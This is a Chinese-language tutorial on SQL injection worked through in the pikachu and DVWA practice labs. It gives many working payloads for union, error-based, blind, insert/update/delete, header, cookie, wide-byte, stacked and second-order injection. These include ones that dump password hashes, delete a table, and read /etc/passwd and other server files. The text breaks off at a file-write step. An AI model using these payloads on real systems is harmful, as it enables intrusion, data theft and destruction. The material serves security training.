SQL注入

Web 入侵先遣——SQL注入攻击技术初探

前言

SQL 注入式攻击技术,一般针对基本 Web 平台的应用程序,造成 SQL 注入 攻击漏洞的原因,是由于程序员在编写 Web 程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数,提交 SQL 查询语句,并传递至服务器端,从而获得想要的敏感信息,甚至执行危险的代码或系统命令。

虽然 SQL 注入攻击技术早已出现,三十时至今日仍然有很大一部分网站存在 SQL 注入漏洞,在本章开篇中进行入侵检测中就就发现了各大门户网站同样存在 SQL 注入漏洞,更别说一些小网站了。由于 SQL 漏洞存在的普遍性,因此 SQL 入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术,危害性极大。

1.1.注射式攻击的原理

注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据体提交给 Web 程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本,平台无关)

总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。

为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须确定三件事:

  1. 确定 Web 应用程序所使用的技术

    注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出啦逐一试一下就知道了。为了确定所采用的技术,攻击者可以考察 Web 页面的页脚,查看错误页面,检查页面源代码,或者使用诸如 Nessus,AWVS,AppScan等工具进行刺探。

  2. 确定所有可能的输入方式

    Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单,另外,攻击者可以通过隐藏的 HTML 表单输入,HTTP 头部,cookies,甚至对用户不可见的后端 AJAX 请求来跟 Web 应用进行交互。一般来说,所有的 HTTP 的 GET 和 POST 都应当作用户输入。为了找出一个 Web 应用所有可能的用户输入,我们可以求助于代理,如 Burp 等。

  3. 查找可以用于注射的用户输入

    在找出所用用户的输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意 Web 应用的错误页面,很多时候可以从这里得到意想不到的收获。

1.2. 经典 OR 漏洞原理解析

大家经常听到网站万能密码登录,今天我们来分析分析万能密码是怎么回事。

  1. 万能密码1:

    id=1’ or 1=1#/–(–是aspx的,#是php的注释掉)

1.3. 注入前的准备及注入漏洞检测

1.3.1. 取消友好 HTTP 错误信息

在进行 SQL 注入攻击时,需要利用从服务器返回的各种出错信息,但是在浏览器中默认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“ HTTP 500 服务器错误 ” 的窗口。因此,每次进行 SQL 注入攻击测试时,首先要取消浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息。

1.3.2. 手工检测 SQL 注入点

1. 最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接

http://www.xxx.com/xxx.asp?id=xx(ASP 注入)

http://www.xxx.com/xxx.php?id=xx(PHP 注入)

http://www.xxx.com/xxx.jsp?id=xx(JSP 注入)

http://www.xxx.com/xxx.aspx?id=xx(ASPX注入)

http://www.xxx.com/index.asp?id=xx&page=xx(注:注入的时候确认是 id 参数还是 page 参数,工具默认只对后面 page 参数注入,所以要对工具进行配置或者手工调换

http://www.xxx.com/index/new/id/8(伪静态)

http://www.xxx.com/index/new/php-8.html(伪静态)

其中 id=xx 中的 “xx” 可能是数字,亦有可能是字符串,分别被称为整数典型数据和字符型数据。

2. 如何判断某个网页链接是否存在 SQL 注入漏洞通常有两种方法:

  1. “单引号” 法

    方法很简单,直接在浏览器地址栏中网页链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

  2. 1=1 和 1=2 法

    很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但是这并不等于不存在 SQL 注入漏洞,此时可使用经典的 “1=1 和 1=2”法进行检测,方法也很简单,就是直接在链接地址后分别加上 and 1=1 和 1=2 进行提交,如果返回不同的页面,那么说明存在 SQL 注入漏洞。

1.4. 注入分类

配合靶机:192.168.133.133:81/pikachu/

1.4.1. 数字型注入

进入 mysql 命令行,

  1. 查询数据库,并使用

    mysql> show databases;
    +——————–+
    | Database |
    +——————–+
    | information_schema |
    | mysql |
    | performance_schema |
    | phpcmsv9 |
    | pikachu |
    | test |
    +——————–+
    6 rows in set (0.02 sec)

    mysql> use pikachu;
    Database changed

  2. 查询数据表

    mysql> show tables;
    +——————-+
    | Tables_in_pikachu |
    +——————-+
    | httpinfo |
    | member |
    | message |
    | users |
    | xssblind |
    +——————-+

  3. 查询数据结构

    mysql> desc member;
    +———-+——————+——+—–+———+—————-+
    | Field | Type | Null | Key | Default | Extra |
    +———-+——————+——+—–+———+—————-+
    | id | int(10) unsigned | NO | PRI | NULL | auto_increment |
    | username | varchar(66) | NO | | NULL | |
    | pw | varchar(128) | NO | | NULL | |
    | sex | char(10) | NO | | NULL | |
    | phonenum | varchar(255) | NO | | NULL | |
    | address | varchar(255) | NO | | NULL | |
    | email | varchar(255) | NO | | NULL | |
    +———-+——————+——+—–+———+—————-+
    7 rows in set (0.00 sec)

  4. 数字注入例子:

    mysql> select username,pw from member where id=1 or 1=1;
    +———-+———————————-+

    username pw
    +———-+———————————-+
    vince e10adc3949ba59abbe56e057f20f883e
    —– ——————————–
    allen e10adc3949ba59abbe56e057f20f883e
    —– ——————————–
    kobe e10adc3949ba59abbe56e057f20f883e
    —- ——————————–
    grady e10adc3949ba59abbe56e057f20f883e
    —– ——————————–
    kevin e10adc3949ba59abbe56e057f20f883e
    —– ——————————–
    lucy e10adc3949ba59abbe56e057f20f883e
    —- ——————————–
    lili e10adc3949ba59abbe56e057f20f883e
    —- ——————————–
    +———-+———————————-+
    7 rows in set (0.00 sec)
  5. pikachu 平台:

    利用 Burp 抓包,发现它是一个 post 提交类型的,修改如下:

    id=1 or 1=1 #&submit=%E6%9F%A5%E8%AF%A2

    查询主字段个数:id=1 or 1=1 order by 1/2/3 #&submit=%E6%9F%A5%E8%AF%A2(3 的时候报错)

    其他查询,类似格式:id=1 union select version(),database() #&submit=%E6%9F%A5%E8%AF%A2

1.4.2. 字符型注入

  1. 注入类型和数字型相似,就等于把原来的 id=字符串 or 1=1;

  2. pikachu中操作

    vince’ or 1=1#

    (很显然,要填的数字在后端里是用 ‘ ‘ 上的)

1.4.3. 搜索型注入

打开 pikachu 平台,在 SQL-inject 下选择搜索型注入,然后随意输入一个字母,能看到匹配出了对应的信息,按照 SQL 的模糊查询命令 select * from 表名 where 字段名 like ‘%(对应值)%’; ,发现可以按照之前的思路来实现万能语句的拼接。

  1. MySQL 命令端

    命令:select * from member where username like ‘%vince%’ or 1=1;

  2. pikachu 平台

    %vince%’ or 1=1 #%(最后的%可加可去除)

    (很显然,要填的值是用 ‘’ 起来的)

1.4.4. xx 型注入

xx型是由于 SQL 语句拼接方式不同,注入语句如下:

  1. MySQL 命令端:

    mysql> select * from member where username=(‘xx’) or 1=1 ;(如果()中的参数是数字就不需要 ‘ ‘ 了)

  2. pikachu 平台

    xx’) or 1=1 #

    (很显然,要填的值是用 (‘ ‘) 起来的)

1.5. 提交方式

ASP:request(全部接受),request.querystring(接受 get ),request.form(接受 post ),request.cookie cookie(接受 cookie )

PHP:$_REQUEST(全部接受),$_GET$_POST(接受 post ),$_cookie(接受 cookie )

接受什么方式是由代码来决定的

1.5.1. Get 提交

Burpsuite 中抓包的 get 方式就在 开头的get 里面修改

1.5.2. Post 提交

Burpsuite 中抓包的 post 都是在最后一行

Hackbar 插件中用post 提交也可以

Burpsuite 中抓包的 cookie 就是在 cookie 一栏中修改

1.6. 注入攻击方式

主要有 union 注入,insert / update 注入,delete 注入,http header 注入,盲注(base boolion),盲注(base on time),函数报错,宽字节注入,二次注入,偏移注入等。

1.6.1. union 注入

union 操作符用于合并两个或者多个 SQL 语句集合起来,得到联合的查询结果,

  1. SQL 命令:

    mysql> select id,username from member where username=’kevin’ union select email,
    pw from member where id=1;
    +——————-+———————————-+
    | id | username |
    +——————-+———————————-+
    | 5 | kevin |
    | vince@pikachu.com | e10adc3949ba59abbe56e057f20f883e |
    +——————-+———————————-+
    2 rows in set (0.00 sec)

  2. pikachu 平台

    搜索型注入:v’ union select username,pw from member where id=1#%

    结果报错

    The used SELECT statements have a different number of columns

    原因:

    查询的字段不能超过主查询的字段,这个时侯可以在 SQL 语句后加 order by 进行排序,通过这个办法可以判断主查询的字段。

    解决:

    v’ order by 1/2/3/4/… #%

    直到返回报错:Unknown column ‘4’ in ‘order clause’,说明只有3个字段

    再用 union 来做一个 SQL 语句的拼接,输入构造好的语句:

    a’ union select database(),user(),version()#%

1.6.2. information_schema 注入

information_schema 数据库是 MySQL 系统自带的数据库,其中报存着关于 MySQL 服务器所维护的所有其他数据库的信息,通过 information——schema 注入,我们可以将整个数据库内容全部窃取出来,使用 order by 来判断查询的字段,先找出数据库的名称,输入 vince’ union select database(),user(),3#% ,得到反馈:判断数据库名称为 pikachu;

获取所有数据库的库名:输入:u’ union select 1,2,group_concat(schema_name) from information_schema.schemata#

获取 pikachu 数据库的表名,输入:u’ union select table_schema,table_name,3 from information_schema.tables where table_schema=’pikachu’#

获取 member 数据表的字段名,输入:v’ union select table_name,column_name,3 from information_schema.columns where table_name=’member’#

注意:

1.6.2.1 group_concat()函数

利用 group_concat()函数可以得到所有库名,或者同一库名下的所有表名,省去了一个个的麻烦

函数里面加 schema_name,table_name,column_name 就可以了

同时,利用 union select group_concat(字段名) from (库名.表名) 可以得到字段内容

1.6.3. 基于函数报错注入

  1. 技巧思路

    在 MySQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的 select / insert / update 注入都可以使用报错方式来获取信息。

  2. 背景条件

    后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

  3. 基于报错的信息获取(三个常用的用来报错的函数)

    1)updatexml():函数是 MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数。

    2)extractvalue():函数也是 MySQL 对 XML 文档数据进行查询的 XPATH 函数。

    3)floor():MySQL 中用来取整的函数。

  4. 基于报错的信息获取

    UPDATEXML(XML_document,XPath_string,new_value);

    第一个参数:XML_document 是 string 格式,为XML 文档对象的名称,文中为 Doc;

    第二个参数:XPath_string(Xpath 格式的字符串),如果不了解 Xpath 语法,可以在官网上查看教程;

    第三个参数:new_value 也是 string 格式,替换查找到的符合条件的教程。

  5. 实战测试

    (大多数展现的用 搜索型注入)

    1)爆破数据库版本信息

    k’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# 注:@@version 换成 version() 也可以

    (这个updatexml 结构和上面的一样,前后两个 1 对应上面的 xml_document 和 new_value,1也可以换成2/3…;concat 是一个拼接函数)

    (SELECT 小写形式也可以)

    2)爆破数据库当前用户

    k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 注:后一个 0x7e 也可以是不用写的

    或者:k and extractvalue(1,concat(‘~’,(select database())))%23

    注意:参数后面的 ‘ 有的时候要,有点时候不要,updatexml 函数最后的1是要有的,而extractvalue 函数最后是没有的。

    3)爆破数据库

    k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)# 注:后一个 0x7e 也可以是不用写的

    4)爆表

    获取数据库表名,输入:

    k’ and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=’pikachu’)),0)#,但是返回错误信息,表示只能显示一行,所以用 limit 来一行一行显示(就是无法批量的把表名显示出来)

    更改输入:

    k’ and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0)#,更改 limit 后面的数字 limit 0 完成表名遍历。

    (0是可以变化的,0是第一个表名,1是第二个表名,以此类推;后面的1代表一次一行)

    5)爆字段

    获取字段名,输入:

    k’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1)),0)#

    6)爆字段内容

    获取字段内容,输入:

    k’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

    返回结果为连接参数产生的字符串,如有任何一个参数为 NULL,则返回值为 NULL;通过查询@@version 返回版本,然后 concat 将其字符串化。因为 updatexml 第二个参数需要 Xpath 格式的字符串,所以不符合要求然后报错。

1.6.4. insert 注入

insert 注入,就是前端注册的信息最终通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接 SQL 到后端的 insert 相关的内容中,导致了 insert 注入。

  1. 到 MySQL 命令端中输入:

    insert into member (username,pw,sex,phonenum,email,address) values(‘haoye’,123456,1,2,3,4); 来在表里插入一个用户;

    再输入 select * from member; 来查看所有用户。

  2. 进入网站注册页面,填写网站注册相关的信息,通过 Burp 抓包在用户名输入相关的 payload ,格式如下:

    haoye’ or updatexml(1,concat(0x7e,(命令)),0) or ‘

    1)爆表名

    haoye’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0) or’

    1. 抓包注册页面,发送到 repeater 界面,修改如下:

      username=haoye’or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0) or’&password=111&sex=&phonenum=&email=&add=&submit=submit

    2. response 最后一行获得:

      XPATH syntax error: ‘~httpinfo’

    3. 或者可以不用发送到 repeater 页面,直接在 intercept 抓到的包处修改,然后 forward 发送,这样 pikachu 的页面跳转就会显示。

    4. 注意:这里用 or 的比较多,and 其实也行,但是 or 保证了在即使前面有问题,后面一定为 真,不会导致报错。

    2)爆字段名

    haoye’ or updatexml(1,concat(0x7e,(select table_column from information_schema.columns where table_name=’users’ limit 0,1)),0) or’

    3)爆字段内容

    haoye’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or’ 等同

    haoye’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or ‘1’=’1’’

1.6.5. update 注入

与 insert 注入方法大体相同,区别在于 update 用于用户登录端,insert 用于用户注册端。

一般登录网站前台或后台更新用户信息的地方,填写用户需要修改的相关信息,通过 Burp 抓包在用户名输入相关的 payload,格式如下:

update 注入:’ or updatexml(0,concat(0x7e,(select database())),0) or’

操作:

注册用户,再登录,然后修改信息,信息随便填,然后在提交的时候抓包

修改如下:sex=11&phonenum=11’or updatexml(0,concat(0x7e,(select database())),0) or’&add=11&email=11&submit=submit

获得:XPATH syntax error: ‘~pikachu’

注意:

有的时候,后端人员会设置过滤,所以我们在注入时可以换成 url 编码,(选中 payload 然后 ctrl+u ,就可以看到把空格换成了+号)

1.6.6. delete 注入

一般应用于前后端发帖,留言,用户等相关删除操作,点击删除按钮可通过 Burp 抓包,对数据包相关 delete 参数进行注入,

注入方法如下:delete from message where id=56 or updatexml(2,concat(0x7e,(select database())),0)

Hackbar 操作:

输入留言版信息,提交后,复制 “删除” 的链接,在 Hackbar 中 URL 中输入:http://192.168.133.133:81/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(2,concat(0x7e,(database())),0)

点击 Execute 获得:XPATH syntax error: ‘~pikachu’

1.6.7. Http Header 注入

先在 pikachu 平台打开 http header 注入模块,点击查看登录账号和密码,登录后去 Burp 中找到登录地 GET 请求,把请求发送到 Repeater 模块中,去除 User-Agent:,然后输入 ‘,然后运行观察 MySQL 语法报错然后发现存在 SQL 注入漏洞,这时候可以设置 payload 。在 User-Agent 输入 payload Mozilla’ or updatexml(1,concat(0x7e,database()),0) or’

(注意:在 Repeater 模块中数据可以发送到 Intruter 模块中,然后在positions中对单一的参数进行 And$,再在 payload中对参数导入可能的库值,进行暴力破解)

Cookie 是网站为了识别用户身份来跟踪会话的,虽然 Cookie 是由后端生成的,但每次页面跳转,后端都对前端的 Cookie 的信息进行验证,但如果后端获取 Cookie 后放在数据库中进行拼接,那么这也将是一个 SQL 注入点。在 ant[uname]=admin 后添加一个 ‘ 来观察反馈的 MySQL 的语法报错,发现了存在 SQL 漏洞,在设置 Payload ‘ and updatexml(1,concat(0x7e,database()),0)#,观察报错和之前是否相同。

1.6.9. Boolian(布尔型)盲注

在我们注入语句被带入数据库查询单却社么都没有返回的情况下我们该怎么办?例如应用程序就会返回一个”通用的” 的页面,或者重定向一个通用页面(可能为网站首页),这时,我们之前学习的 SQL 注入办法就无法使用了。

盲注:即在 SQL 注入过程中,SQL 语句执行选择后不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

SQL 注入分为三大类:基于布尔型 SQL 盲注,基于时间型 SQL 盲注,基于报错型 SQL 盲注。

采用 SQL 语句中 and 方法,返回正确或错误来构造,按照之前的思路来构造一个 SQL 拼接:vince’ and extractvalue(0,concat(0x7e,version()))# ,输入后根据返回的信息判断之前的思路不再适用。(都显示username 不存在)

MySQL命令端,输入语句:select ascii(substr(database(),1,1))>x; ,通过对比 ascii 长度,判断出数据库名的第一个字符。

注:substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串,start(必需)规定在字符串的何处开始,length(可选)规定被返回字符串的长度。

那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用 length 来判断表名的长度,判断出长度后就能多次输入 payload 来爆破出每一个表名的字符,

  1. MySQL 命令端,输入语句:

    select length(database())<x; x是长度值 1/2/3… 以此类推,返回1为真,返回0为假,以此来判断长度。

  2. pikachu 平台

    我们构造语句,如果返回1,就会爆出选择的信息;如果爆出0,就会返回“你输入的 username 不存在”。按照之前的逻辑,输入 SQL 语句:

    vince’ and ascii(substr(database(),1,1))=112# ,通过这个方法就能得到后台数据库的名称的第一个字符的 ascii 码。同之前的办法,我们也可以获得 information_schema.tables 里面的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用 sqlmap 等工具来增加盲注的效率。

    1)查询数据表个数:vince’ and (select count(table_name) from information_schema.tables where table_schema=’pikachu’)=5# (5的时候没有保错)

    2)查询第一个表名的长度:vince’ and length(substr((select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1),1))=8# (8 的时候没有保错)

    3)查询第一个表名的第一字母:vince’ and ascii(substr((select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1),1))=104#

    4)查询第一个表名的第二字母:vince’ and ascii(substr((select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1),2))=116# (注:0代表第几个表,1代表字符长度,2代表第几个字母)

    5)下面的列也是同理

1.6.10. Base on time(时间型)盲注

到 base on time 盲注下,输入上个演示中设置好的 payload:vince’ and ascii(substr(database(),1,1))=112# ,返回的信息发现不存在注入点,那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到 payload:vince’ and sleep(x)#

基于时间的延迟,构造一个拼接语句:vince’ and if(substr(database(),1,1)=’x’,sleep(10),null)# 其中’x’ 中的 x 为猜测字符,如果猜测正确,那么就会响应10秒;如果错误,就会立刻返回错误;这样我们就可以逐级向下获取数据。(弊端:这个很麻烦,得一个个逐级向下判断)

它的拼接语句和 布尔型的有点类似,我决定也差不多就是多了个 if 的判断条件,从而利用 sleep 来判断是否正确。

1.6.11. 宽字节注入

下列使用了URL 编码转换

当我们把 php.ini 文件里面的 magic_quotes_gpc 参数设为 ON 时,所有 ‘(单引号),”(双引号),\(反斜杠)和 null 字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用,如:addslashes(),mysql_escape_string(),mysql_real_escape_string()等。另外还有 parse_str() 后的变量也受 magic_quotes_gpc 的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接放弃,但是就在他们放弃的同时也放弃了很多致命的漏洞。

其中 \ 的十六进制是 %5C ,当我们在 \ 前面加上 %df 的时候,最终就会变成 運,如果程序默认的字符集是 GBK 等宽字节字符集,则 MySQL 用 GBK 的编码时,会认为 %df 是一个宽字符,也就是 ;也就是说:%df\'= %df%5c%27=運’ ,有了单引号就好注入了。

‘=======>' 单引号转义后占两个字节,所以我们需要通过 繁体字%df 构造两个字节,最终用 干掉了 \ ,也就是说被 占领了 \ ,所以在最后页面显示 SQL 语句的地方不会显示 \ 。

(小提示:数字和字母占一个字节,汉字占两个字节)

哪些地方没有魔术引号的保护?

  1. $_SERVER 变量

    PHP5 的 $_SERVER 变量缺少 magic_quotes_gpc 的保护,导致近年来 X-Forwarded-For 的漏洞猛爆,所以很多程序员考虑过滤 X-Forwarded-For(代理),但是其他变量呢?

  2. getenv() 得到的变量(使用类似 $_SERVER 变量 )

  3. $HTTP_RAW_POST_DATA 与 PHP 输入,输出流

**总结: **

但我们输入 id=值后,显示的 SQL语句发现自动加上了 \ ,就可以通过 %df 来使得其成为繁体字

1.6.12. 堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

堆叠注入原理

在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

举个堆叠注入攻击的例子:

执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了,如下代码:

mysql> select * from users where id =1;delete from users;

注入形式:1';show databases;show tables;#

堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

2.1. 二阶 SQL 注入

一种特别的有意避开过滤的方法与二阶 SQL 注入(second-order SQL injection) 有关。当数据首次插入数据库中时,许多应用程序能够安全处理这些数据。但是,一但数据存储在数据库中,随后应用程序本身或其他后端进程可能会以危险的方式处理这些数据。许多这类应用程序并不像面向因特网的主要应用程序一样安全,却拥有较高权限的数据库账户。

  1. 在一些应用程序中,用户输入在到达时通过转义单引号来进行确认,在前面搜索书籍的示例中,这种方法明显有效。当用户输入搜索项 0’ Reilly 时,应用程序执行以下查询:

    SELECT author,title,year FROM books WHERE publisher=’0’ ‘Reilly’(这样SQL注入语句就可以写在 Reilly 的地方了)

    在这个查询中,用户提交的单引号被转义成两个单引号,因而传递给数据库的搜索项与用户最初输入的表达式具有相同的字符含义。

  2. 与单引号配对方法有关的问题出现在更复杂的情形中,此时同一个数据项被提交给几个SQL查询,然后写入数据库被几次读取。这是证明简单输入确认相对于边界确认存在不足的一个示例。
    回到前面那个允许用户自我注册并且在一个INSERT语句中存在SQL注入漏洞的应用程序。假设开发者将修复出现在用户数据中的所有单引号配对导致的漏洞。注册用户名fool来建立如下查询,它不会在数据库中造成问题:

    INSERT INTO users (username,password,ID,privs)VALUES(‘foo’’’,’secret’,2248,1)

  3. 目前为止一切正常。然而,假设应用程序还执行密码修改功能,那么只有通过验证的用户才能够访问这项功能,而且为了加强保护,应用程序要求用户提交原始密码。然后应用程序从数据库中提取用户的当前密码,并对两个字符串进行比较,核对用户提供的密码是否正确。要完成核对任务,它首先要从数据库提取用户的用户名,然后建立如下查询:
    SELECT password FROM users WHERE username=’foo’’

  4. 因为保存在数据库中的用户名是字面量字符串foo’ ,当应用程序提出访问要求时,数据库即返回这个值,只有在字符串被传送给数据库时才使用配对的转义序列。因此,当应用程序重复使用这个字符串并将它嵌人到另一个查询中时,就会造成一个 SQL注人漏洞,用户最初的恶意输人就被嵌人到查询中。当用户尝试修改密码时,应用程序返回以下消息,暴露了上述缺陷:

    Unlosed quotation mark before the character string’foo

  5. 要利用这种漏洞,攻击者只需注册一个包含专门设计的输入用户名,然后尝试修改密码。例如,如果注册如下用户名:

    ‘or 1 in(select password from users where username=’admin’)–

  6. 注册步骤将会被应用程序安全处理。如果攻击者尝试修改密码,他注入的查询就会执行,导致生成以下消息,泄露管理员密码:

    Microsoft OLE DB Provider for ODBC Drivers error'80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

    the varchar value' fm69' to a column of data type int.

攻击者已经成功避开旨在阻止 SQL注入攻击的输入确认,现在他能够在数据库中执行任意查询并获得查询结果。

大家都知道注入分为:GET,POST,COOKIE注入,当一个站增加了防注入程序后,很多朋友都会放弃,其实可以试试 COOKIE注入,下面实例就是对 GET 和 POST 做了防注入,但忘了 COOKIE 注入。在演示前先了解一下 ASP 和 PHP 数据提交方式。

ASP:request(全部接受),request.querystring(接受 get ),request.form(接受 post ),request.cookie cookie(接受 cookie )

PHP:$_REQUEST(全部接受),$_GET$_POST(接受 post ),$_cookie(接受 cookie )

2.2.1. 实例

方法一:

用 Burp 进行拦截

把 GET 头中的 id=n 后面加 ‘ ,然后 send ,如果接受后的显示 script 这类的字样出现,说明被拦截了;然后把 id=n’ 删除,然后添加到 cookie 中,先在原来的末尾加 ; 然后把这个 id=n’ 添加到末尾

然后,后面就可以进行一些注入查询,例如:

;id=n’%20order%20by%201,2,3…进行字段长度的查询之类的,然后再进行 union select 的联合查询

注:content-length:16xxx 是一般正确的数据包长度,像什么1524之类的是错误的

方法二:

通过注入中转器工具进行 cookie 注入,这个工具针对于 ASP ,PHP 一般用 sqlmap。

cookie 注入时:

注入键名:id=(这里也有可能是别的名称)

注入 URL 地址:…asp

POST 提交值:jmdcw=n(这里的 n 是id 后面的参数)

当生成 ASP 后,就会多出来一个文件,这个就是注入文件

我们再在 URL 中访问时,就不是id=参数值,而是 jmdcw=参数值。

方法三:

利用 Pangolin 穿山甲 SQL注入工具

直接在 URL 中填写注入站点,然后 cookie 注入就可以了。

方法四:

利用 Sqlmap 注入:

get注入:进入 Sqlmap 的物理路径进行 cmd ,>sqlmap.py -u “注入站点.asp?id=参数值”

post注入:进入 Sqlmap 的物理路径进行 cmd ,>sqlmap.py -u “注入站点.asp” –data “id=参数值”

cookie注入:进入 Sqlmap 的物理路径进行 cmd ,>sqlmap.py -u “注入站点.asp” –cookie “id=参数值” –level 2 (默认 level 是1,当 cookie 注入时要>=2,最高是5)

3.1. MySQL 实战 Webshell

以下操作使用到 DVWA

3.1.1. 使用 order by 查询字段

我们需要通过 MySQL 语句进一步的进行测试,开始使用 order by ,order by 语句可以对查询结果进行排列,上面的语句中有两列,使用 order by 语句可以按照第一列 first_time 或者第二列 last_name 对结果进行排列。假如我们想根据第三列结果进行排序,因为查询语句中不存在第三列,就会产生报错:

ERROR 1054 (42S22):Unknown column ‘3’ in ‘order clause’

当我们使用 order by 2 的时候没有产生任何错误,而是用 order by 3的时候产生报错就说明数据库中只用两列,通过这种方法我们可以使用 order by 语句猜测数据库表中的列数。

  1. MySQL 命令行输入:

    select first_name,last_name from user where user_id=” order by 2+-+’

  2. DVWA 中 SQL注入,输入:

    1’ order by 1,2 –

3.1.2. 使用联合查询来查询当前数据库,用户,版本信息

继续构造 union select 语句,来查询正在使用中的用户 user(),数据库 database(),数据库版本 version(),服务器操作系统 @@version_compile_os,用以下语句:

‘union select user(),database()+–+(–相当于#,注释;+是空格)

3.1.3. 获取表名,字段,值

前面说过 MySQL5.0 以上,information_schema 存储所有数据库下的表名和列名信息,下面我们就来查询 information_schema 数据库名下的表名 tables 的信息(条件:table_schema=0x64767761 dvwa的十六进制)

information_schema.tables:information_schema 数据库名下表名 tables 记录所有数据库名下的所有表名信息。

http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+–+&Submit=Submit

3.1.4. MySQL root 用户密码存储位置

数据库最高权限是 root 密码保存在 MySQL 数据库 user 表里,密码是采用 MySQL5.0 特有的加密,通过 cmd5 网站进行解密或通过 cain 这类专业可以对 MySQL hash 破解,所以对数据库做安全的时候无论如何不能给网站 root 权限,一定要给一个普通用户权限。

3.1.5. 对服务器文件进行读写操作(前提条件)

  1. 使用 into outfile 需要有以下条件:

    1)需要知道远程目录

    2)需要远程目录有写权限

    3)需要数据库开启 secure_file_priv

  2. 数据库开启 secure_file_priv

    into outfile 可以将 select 的结果写入到指定目录下的 txt 中,但需要数据库开启 secure_file_priv,怎么开启 secure_file_priv。

    1)在 MySQL 安装目录的 php.ini 文件中的 [mysqld] 添加 secure_file_priv=’’;

    2) 然后以管理员的身份运行 cmd,进入 mysql/bin 停止 mysql 服务:net stop mysql;

    3)重新启动 mysql 服务:net start mysql ;

    4)登入 mysql:mysql -u root -p enter password:password ;

    5)执行命令:show variables like ‘%secure%’ ;查看 secure_file_priv 的值(这里已经将 secure_file_priv 的值设为空,但正常显示为 NULL 和文件路径,只有value 下对应的为空才能读写操作),显示以下界面说明可以对服务器进行读写操作。

  3. 通过联合查询对服务器进行读写操作

    1)使用联合查询语句构造,利用注入读取 /etc/passwd 文件(Linux系统)

    ‘UNION SELECT 1,load_file(/etc/passwd)+–+

    2)使用联合查询语句构造,利用注入读取 c:\1.txt(Windows系统)

    'UNION SELECT 1,load_file('c:\\1.txt')+--+或者

    union select 1,load_file('c:/1.txt')+--+

    注:“ \ ” (编程里面 “ \ ” 转义,为什么要俩个,因为有一个要被转义)

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit

    3)如果出现以下报错:

    Query Error:SELECT CID,TITLE FROOM CMS_CONTENTINDEX WHERE TID=25950\' AND 1=2 UNION SELECT LOAD_FILE('C:\\BOOT.INI\'),2

    显然,在 “php.ini” 配置文件中 magic_quotes_gpc 为 on 或在接受参数的时候用了 addslashes()函数,单引号就会被自动转义成 \ ‘ ,因此函数未能争取执行功能,要绕过此过滤,可将 c:\\boot.ini 转为十六进制:0x633A5C5C626F6F742E696E69,转换后再提交

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit 或者

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit

    4)如果想要对服务器进行写操作,直接用下面这条语句进行操作:

